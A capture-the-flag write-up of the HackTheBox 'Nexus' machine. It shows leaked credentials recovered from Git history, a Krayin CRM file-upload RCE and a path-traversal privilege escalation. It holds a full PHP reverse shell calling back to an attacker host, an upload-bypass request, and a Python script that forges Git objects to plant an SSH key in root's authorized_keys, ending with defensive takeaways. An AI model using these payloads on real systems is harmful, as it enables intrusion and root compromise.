October 31, 2026
HackTheBox Nexus Writeup
Nexus โ Lab Summary (with commands)

By Mohamed Ramadan
6 min read
Nexus โ Lab Summary (with commands)
Goal: Chain an exposed Git repository leaking credentials โ exploit a CVE in Krayin CRM for RCE โ abuse a vulnerable template-sync script (unsanitized path traversal) to escalate to root.
Steps & Commands
1. Scan the target
sudo nmap -sV -sC <target-ip>sudo nmap -sV -sC <target-ip>Output:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)
|_ 256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://nexus.htb/
|_http-server-header: nginx/1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelPORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)
|_ 256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://nexus.htb/
|_http-server-header: nginx/1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel2. Resolve the hostname
Visiting the IP redirects to nexus.htb:
echo "<target-ip> nexus.htb" | sudo tee -a /etc/hostsecho "<target-ip> nexus.htb" | sudo tee -a /etc/hosts3. Explore the website
A government-style energy site. The Careers section has a job posting listing two email addresses:
j.matthew@nexus.htbj.matthew@nexus.htbโ This reveals valid usernames/emails for later use.
4. Enumerate subdomains (vhost fuzzing)
ffuf -w ~/wordlists/subdomains-top1million-5000.txt -u http://nexus.htb/ -H "Host: FUZZ.nexus.htb"ffuf -w ~/wordlists/subdomains-top1million-5000.txt -u http://nexus.htb/ -H "Host: FUZZ.nexus.htb"Many false positives returned the same response size, so filter them out:
ffuf -w ~/wordlists/subdomains-top1million-5000.txt -u http://nexus.htb/ -H "Host: FUZZ.nexus.htb" -fw 4ffuf -w ~/wordlists/subdomains-top1million-5000.txt -u http://nexus.htb/ -H "Host: FUZZ.nexus.htb" -fw 4fw 4= filter out responses with 4 words (the generic redirect page).
Found:
git [Status: 200]
billing [Status: 302]git [Status: 200]
billing [Status: 302]5. Add subdomains to /etc/hosts
<target-ip> nexus.htb git.nexus.htb billing.nexus.htb<target-ip> nexus.htb git.nexus.htb billing.nexus.htb6. Explore the Gitea instance
Visiting git.nexus.htb โ a self-hosted Gitea Git server. Browsing repositories reveals:
krayin-docker-setupkrayin-docker-setupContains an exposed .env file with DB config (password blanked in the latest commit).
7. Check commit history for leaked secrets
Looking at an earlier commit of .env reveals a previously-committed (now "removed") password:
DB_PASSWORD=N27xh!!2ucY04DB_PASSWORD=N27xh!!2ucY04And confirms the billing vhost:
APP_URL=http://billing.nexus.htbAPP_URL=http://billing.nexus.htb8. Log into Krayin CRM
http://billing.nexus.htb
Email: j.matthew@nexus.htb
Password: N27xh!!2ucY04http://billing.nexus.htb
Email: j.matthew@nexus.htb
Password: N27xh!!2ucY04โ Version shown: Krayin CRM 2.2.0
9. Research known vulnerabilities
A quick search reveals:
CVE-2026-38526 โ Krayin CRM 2.2.0 file upload RCECVE-2026-38526 โ Krayin CRM 2.2.0 file upload RCE10. Exploit the file upload vulnerability
- Go to the Mail/Compose page.
- Attach a PHP reverse shell renamed with an image extension (e.g.
.png), edited first:
nano php-reverse-shell.php.png
<?php
/*
* Nexus HTB lab - educational PHP reverse shell
* Set the callback IP to your HTB VPN interface (tun0) address.
*/
set_time_limit(0);
error_reporting(0);
$host = '<your-tun0-ip>';
$port = 4455;
$timeout = 10;
$socket = stream_socket_client(
"tcp://{$host}:{$port}",
$errno,
$errstr,
$timeout
);
if ($socket === false) {
exit("Connection failed: {$errstr} ({$errno})\n");
}
$spec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w")
);
$process = proc_open('/bin/sh -i', $spec, $pipes);
if (!is_resource($process)) {
fclose($socket);
exit("Could not start process\n");
}
foreach ($pipes as $pipe) {
stream_set_blocking($pipe, false);
}
stream_set_blocking($socket, false);
while (true) {
$read = array($socket, $pipes[1], $pipes[2]);
$write = null;
$except = null;
$ready = @stream_select($read, $write, $except, null);
if ($ready === false) {
break;
}
if (in_array($socket, $read, true)) {
$data = fread($socket, 4096);
if ($data === '' && feof($socket)) {
break;
}
if ($data !== '') {
fwrite($pipes[0], $data);
}
}
foreach (array(1, 2) as $index) {
if (in_array($pipes[$index], $read, true)) {
$data = fread($pipes[$index], 4096);
if ($data !== '') {
fwrite($socket, $data);
}
}
}
if (feof($pipes[1]) || feof($socket)) {
break;
}
}
fclose($socket);
foreach ($pipes as $pipe) {
fclose($pipe);
}
proc_close($process);
?>nano php-reverse-shell.php.png
<?php
/*
* Nexus HTB lab - educational PHP reverse shell
* Set the callback IP to your HTB VPN interface (tun0) address.
*/
set_time_limit(0);
error_reporting(0);
$host = '<your-tun0-ip>';
$port = 4455;
$timeout = 10;
$socket = stream_socket_client(
"tcp://{$host}:{$port}",
$errno,
$errstr,
$timeout
);
if ($socket === false) {
exit("Connection failed: {$errstr} ({$errno})\n");
}
$spec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w")
);
$process = proc_open('/bin/sh -i', $spec, $pipes);
if (!is_resource($process)) {
fclose($socket);
exit("Could not start process\n");
}
foreach ($pipes as $pipe) {
stream_set_blocking($pipe, false);
}
stream_set_blocking($socket, false);
while (true) {
$read = array($socket, $pipes[1], $pipes[2]);
$write = null;
$except = null;
$ready = @stream_select($read, $write, $except, null);
if ($ready === false) {
break;
}
if (in_array($socket, $read, true)) {
$data = fread($socket, 4096);
if ($data === '' && feof($socket)) {
break;
}
if ($data !== '') {
fwrite($pipes[0], $data);
}
}
foreach (array(1, 2) as $index) {
if (in_array($pipes[$index], $read, true)) {
$data = fread($pipes[$index], 4096);
if ($data !== '') {
fwrite($socket, $data);
}
}
}
if (feof($pipes[1]) || feof($socket)) {
break;
}
}
fclose($socket);
foreach ($pipes as $pipe) {
fclose($pipe);
}
proc_close($process);
?>
- Intercept the upload request with Burp Suite, and rename the filename field from
.pngback to.php:
Content-Disposition: form-data; name="file"; filename="php-reverse-shell.php"
Content-Type: image/pngContent-Disposition: form-data; name="file"; filename="php-reverse-shell.php"
Content-Type: image/png
- Forward the request. The server response reveals the uploaded file's path:
http://billing.nexus.htb/storage/tinymce/<random-hash>.phphttp://billing.nexus.htb/storage/tinymce/<random-hash>.php11. Start a listener and trigger the shell
nc -lnvp 4455nc -lnvp 4455Visit the uploaded file's URL in the browser to trigger it:
http://billing.nexus.htb/storage/tinymce/<hash>.phphttp://billing.nexus.htb/storage/tinymce/<hash>.php12. Stabilize the shell
$ script /dev/null -c /bin/bash$ script /dev/null -c /bin/bash13. Enumerate the CRM's environment file for more credentials
www-data@nexus:/$ cd ~/krayin
www-data@nexus:~/krayin$ cat .envwww-data@nexus:/$ cd ~/krayin
www-data@nexus:~/krayin$ cat .envRevealed:
DB_USERNAME=krayin
DB_PASSWORD=y27xb3ha!!74GbRDB_USERNAME=krayin
DB_PASSWORD=y27xb3ha!!74GbR14. Check local users
www-data@nexus:~/krayin$ cat /etc/passwdwww-data@nexus:~/krayin$ cat /etc/passwdFound a real Linux user:
jones:x:1000:1000:,,,:/home/jones:/bin/bash
dhcpcd:x:100:65534:DHCP Client Daemon,,,:/usr/lib/dhcpcd:/bin/false
mysql:x:110:111:MySQL Server,,,:/nonexistent:/bin/false
git:x:111:112:Git Version Control,,,:/home/git:/bin/bashjones:x:1000:1000:,,,:/home/jones:/bin/bash
dhcpcd:x:100:65534:DHCP Client Daemon,,,:/usr/lib/dhcpcd:/bin/false
mysql:x:110:111:MySQL Server,,,:/nonexistent:/bin/false
git:x:111:112:Git Version Control,,,:/home/git:/bin/bash15. Try the leaked password via SSH (password reuse)
www-data@nexus:~$ ssh jones@<target-ip>
Password: y27xb3ha!!74GbRwww-data@nexus:~$ ssh jones@<target-ip>
Password: y27xb3ha!!74GbRโ Success! Read the user flag:
jones@nexus:~$ cat /home/jones/user.txt
flag****************************jones@nexus:~$ cat /home/jones/user.txt
flag****************************16. Enumerate scheduled tasks for privilege escalation
jones@nexus:~$ systemctl list-timersjones@nexus:~$ systemctl list-timersFound:
gitea-template-sync.timer โ gitea-template-sync.servicegitea-template-sync.timer โ gitea-template-sync.serviceRuns every 1โ2 minutes, syncing Gitea "template" repositories.
17. Analyze the sync script
jones@nexus:~$ cat /etc/gitea/template-sync.pyjones@nexus:~$ cat /etc/gitea/template-sync.pyKey vulnerable line:
target = os.path.join(stage_path, filepath)
os.makedirs(os.path.dirname(target), exist_ok=True)target = os.path.join(stage_path, filepath)
os.makedirs(os.path.dirname(target), exist_ok=True)โ os.path.join() does not sanitize .. sequences coming from git ls-tree file paths, allowing directory traversal when writing synced files.
18. Generate an SSH key pair locally (on the target, as jones)
jones@nexus:~$ ssh-keygen -t ed25519 -f /tmp/.k -N ''jones@nexus:~$ ssh-keygen -t ed25519 -f /tmp/.k -N ''19. Log into Gitea as jones (same leaked password)
Username: jones
Password: y27xb3ha!!74GbRUsername: jones
Password: y27xb3ha!!74GbR20. Create a new "template" repository
- Create a repo named
rce. - โ Check "Make repository a template" (required so the sync script picks it up).
21. Clone the repo locally
jones@nexus:~$ cd /tmp
jones@nexus:/tmp$ git -c http.curloptResolve="git.nexus.htb:80:<target-ip>" clone http://jones:'y27xb3ha!!74GbR'@git.nexus.htb/jones/rce.git
jones@nexus:/tmp$ cd rce
jones@nexus:/tmp/rce$ touch README.mdjones@nexus:~$ cd /tmp
jones@nexus:/tmp$ git -c http.curloptResolve="git.nexus.htb:80:<target-ip>" clone http://jones:'y27xb3ha!!74GbR'@git.nexus.htb/jones/rce.git
jones@nexus:/tmp$ cd rce
jones@nexus:/tmp/rce$ touch README.md22. Build a malicious Git object with path traversal using a custom Python script
nano build.py
#!/usr/bin/env python3
# build.py
import hashlib
import zlib
import os
import subprocess
import sys
import time
def write_obj(data, obj_type):
header = ("%s %d" % (obj_type, len(data))).encode() + b"\x00"
raw = header + data
sha = hashlib.sha1(raw).hexdigest()
directory = os.path.join(".git", "objects", sha[:2])
os.makedirs(directory, exist_ok=True)
path = os.path.join(directory, sha[2:])
if not os.path.exists(path):
with open(path, "wb") as f:
f.write(zlib.compress(raw))
return sha
def entry(mode, name, sha):
return ("%s %s" % (mode, name)).encode() + b"\x00" + bytes.fromhex(sha)
if not os.path.isdir(".git"):
print("Run inside git repo")
sys.exit(1)
result = subprocess.run(
["cat", "/tmp/.k.pub"],
capture_output=True,
text=True
)
if result.returncode != 0:
print("ssh-keygen -t ed25519 -f /tmp/.k -N ''")
sys.exit(1)
key = result.stdout.strip() + "\n"
blob = write_obj(key.encode(), "blob")
readme = write_obj(b"# Template\n", "blob")
ssh_tree = write_obj(entry("100644", "authorized_keys", blob), "tree")
current_tree = write_obj(entry("40000", ".ssh", ssh_tree), "tree")
first_tree = write_obj(entry("40000", "root", current_tree), "tree")
for _ in range(4):
first_tree = write_obj(entry("40000", "..", first_tree), "tree")
root_tree = write_obj(
entry("100644", "README.md", readme) + entry("40000", "..", first_tree),
"tree"
)
timestamp = int(time.time())
commit_data = (
"tree %s\n"
"author x <x@x> %d +0000\n"
"committer x <x@x> %d +0000\n"
"\n"
"init\n"
) % (root_tree, timestamp, timestamp)
commit_sha = write_obj(commit_data.encode(), "commit")
refs_dir = os.path.join(".git", "refs", "heads")
os.makedirs(refs_dir, exist_ok=True)
with open(os.path.join(refs_dir, "main"), "w") as f:
f.write(commit_sha + "\n")
print("Done: " + commit_sha)
python3 -m http.server 80
jones@nexus:/tmp/rce$ wget http://<your-ip>/build.py
jones@nexus:/tmp/rce$ ln -s .git git
jones@nexus:/tmp/rce$ python3 build.pynano build.py
#!/usr/bin/env python3
# build.py
import hashlib
import zlib
import os
import subprocess
import sys
import time
def write_obj(data, obj_type):
header = ("%s %d" % (obj_type, len(data))).encode() + b"\x00"
raw = header + data
sha = hashlib.sha1(raw).hexdigest()
directory = os.path.join(".git", "objects", sha[:2])
os.makedirs(directory, exist_ok=True)
path = os.path.join(directory, sha[2:])
if not os.path.exists(path):
with open(path, "wb") as f:
f.write(zlib.compress(raw))
return sha
def entry(mode, name, sha):
return ("%s %s" % (mode, name)).encode() + b"\x00" + bytes.fromhex(sha)
if not os.path.isdir(".git"):
print("Run inside git repo")
sys.exit(1)
result = subprocess.run(
["cat", "/tmp/.k.pub"],
capture_output=True,
text=True
)
if result.returncode != 0:
print("ssh-keygen -t ed25519 -f /tmp/.k -N ''")
sys.exit(1)
key = result.stdout.strip() + "\n"
blob = write_obj(key.encode(), "blob")
readme = write_obj(b"# Template\n", "blob")
ssh_tree = write_obj(entry("100644", "authorized_keys", blob), "tree")
current_tree = write_obj(entry("40000", ".ssh", ssh_tree), "tree")
first_tree = write_obj(entry("40000", "root", current_tree), "tree")
for _ in range(4):
first_tree = write_obj(entry("40000", "..", first_tree), "tree")
root_tree = write_obj(
entry("100644", "README.md", readme) + entry("40000", "..", first_tree),
"tree"
)
timestamp = int(time.time())
commit_data = (
"tree %s\n"
"author x <x@x> %d +0000\n"
"committer x <x@x> %d +0000\n"
"\n"
"init\n"
) % (root_tree, timestamp, timestamp)
commit_sha = write_obj(commit_data.encode(), "commit")
refs_dir = os.path.join(".git", "refs", "heads")
os.makedirs(refs_dir, exist_ok=True)
with open(os.path.join(refs_dir, "main"), "w") as f:
f.write(commit_sha + "\n")
print("Done: " + commit_sha)
python3 -m http.server 80
jones@nexus:/tmp/rce$ wget http://<your-ip>/build.py
jones@nexus:/tmp/rce$ ln -s .git git
jones@nexus:/tmp/rce$ python3 build.pyWhat the script does:
- Writes a blob containing your SSH public key (
/tmp/.k.pub). - Builds nested Git tree objects using .. as directory names โ bypassing Git's normal path-sanitization (
verify_path()) by writing raw objects directly into.git/objects/instead of using normal git commands. - The final tree structure resolves (after 5 levels of ..) to:
../../../../../root/.ssh/authorized_keys../../../../../root/.ssh/authorized_keys(since the sync script stages files at /home/git/template-staging/jones/rce/, 5 levels of .. reaches /root/)
23. Push the malicious commit directly (forcing it, since objects were crafted manually)
jones@nexus:/tmp/rce$ git push -u origin main --forcejones@nexus:/tmp/rce$ git push -u origin main --force(Note: if git.nexus.htb doesn't resolve in your shell, either add it to /etc/hosts on the target too, or use curl's host resolve override:)
jones@nexus:/tmp/rce$ git -c http.curloptResolve="git.nexus.htb:80:<target-ip>" push -u origin main --forcejones@nexus:/tmp/rce$ git -c http.curloptResolve="git.nexus.htb:80:<target-ip>" push -u origin main --force24. Wait for the sync timer to fire (up to ~1โ2 min) and confirm
jones@nexus:/tmp/rce$ cat /var/log/template-sync.logjones@nexus:/tmp/rce$ cat /var/log/template-sync.logEventually shows:
synced: ../../../../../root/.ssh/authorized_keyssynced: ../../../../../root/.ssh/authorized_keysโ Your SSH public key has been written to root's authorized_keys file.
25. SSH in as root using your private key
jones@nexus:/tmp/rce$ ssh -i /tmp/.k root@<target-ip>jones@nexus:/tmp/rce$ ssh -i /tmp/.k root@<target-ip>26. Read the root flag
root@nexus:~# cat /root/root.txt
flag****************************root@nexus:~# cat /root/root.txt
flag****************************Key Takeaways
- Leaked
.envfiles and Git commit history are a goldmine โ even a "removed" password still exists in earlier commits and can be recovered. - Password reuse across services (CRM login, DB password, Linux user, Gitea account) widened the attack surface massively โ one password compromised 3+ systems.
- File-upload filters based only on renaming/extension checks (bypassed via Burp Suite) show why server-side MIME/content validation matters, not just filename extension checks.
os.path.join()in Python is not a security boundary โ it happily resolves .. sequences. Any script combining user-controlled paths (like Gitls-treeoutput) withos.path.join()must explicitly sanitize or validate the result stays within the intended directory.- Git internals can be manipulated directly โ writing raw objects to
.git/objects/bypasses Git's ownverify_path()protections against .. in file paths, since those checks only apply to the normal CLI workflow, not direct object manipulation.
Connect with me on LinkedIn: www.linkedin.com/in/mohamedramadan-mh7